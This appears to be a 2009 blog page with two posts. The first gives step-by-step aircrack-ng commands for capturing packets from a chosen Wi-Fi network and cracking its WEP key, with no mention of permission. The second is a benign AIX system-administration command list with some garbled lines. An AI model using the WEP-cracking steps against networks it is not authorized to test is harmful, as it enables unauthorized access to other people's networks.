Thursday, August 6, 2009

WAP Security Crack

Hack Wireless WEP Network

Aircrack-ng logo

WEP was intended to provide comparable confidentiality to a traditional wired network (in particular it does not protect users of the network from each other), hence the name. Several serious weaknesses were identified by cryptanalysts — any WEP key can be cracked with readily available software in two minutes or less — and WEP was superseded by Wi-Fi Protected Access (WPA) in 2003, and then by the full IEEE 802.11i standard (also known as WPA2) in 2004. Despite the weaknesses, WEP provides a level of security that can deter casual snooping. Wikipedia

It’s fairly easy to crack a WEP encrypted wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast tocrack or hack.

Install aircrack-ng - on Debian Etch by:

sudo apt-get install aircrack-ng

Then start aircrack-ng to look for wireless networks:

sudo airodump-ng eth1

Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1

Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

Wednesday, August 5, 2009

Aix Commands

Aix Useful Commands


List the licensed program products: lslpp -L
List the defined devices: lsdev -C -H
List the disk drives on the system :lsdev -Cc disk
List the memory on the system :lsdev -Cc memory (MCA)
List the memory on the system :lsattr -El sys0 -a realmem (PCI)
lsattr -El mem0List system resources
lsattr -EHl sys0
List the VPD (Vital Product Data):lscfg -v
Document the tty setup lscfg or smit screen capture F8
Document the print queues qchk -A
Document disk Physical Volumes (PVs)
lspvDocument Logical Volumes (LVs)
lslvDocument Volume Groups (long list)
lsvg -l vgnameDocument Physical Volumes (long list)
lspv -l pvname
Document File Systems lsfs fsname/etc/filesystems
Document disk allocation df
Document mounted file systems mount
Document paging space (70 - 30 rule) lsps -a
Document paging space activation /etc/swapspaces
Document users on the system /etc/passwd
lsuser -a id home ALL
Document users attributes /etc/security/user
Document users limits /etc/security/limits
Document users environments /etc/security/environ
Document login settings (login herald) /etc/security/login.cfg
Document valid group attributes /etc/grouplsgroup ALL
Document system wide profile /etc/profile
Document system wide environment /etc/environment
Document cron jobs /var/spool/cron/crontabs/*
Document skulker changes if used /usr/sbin/skulker
Document system startup file /etc/inittab
Document the hostnames /etc/hosts
Document network printing /etc/hosts.lpd
Document remote login host authority /etc/hosts.equiv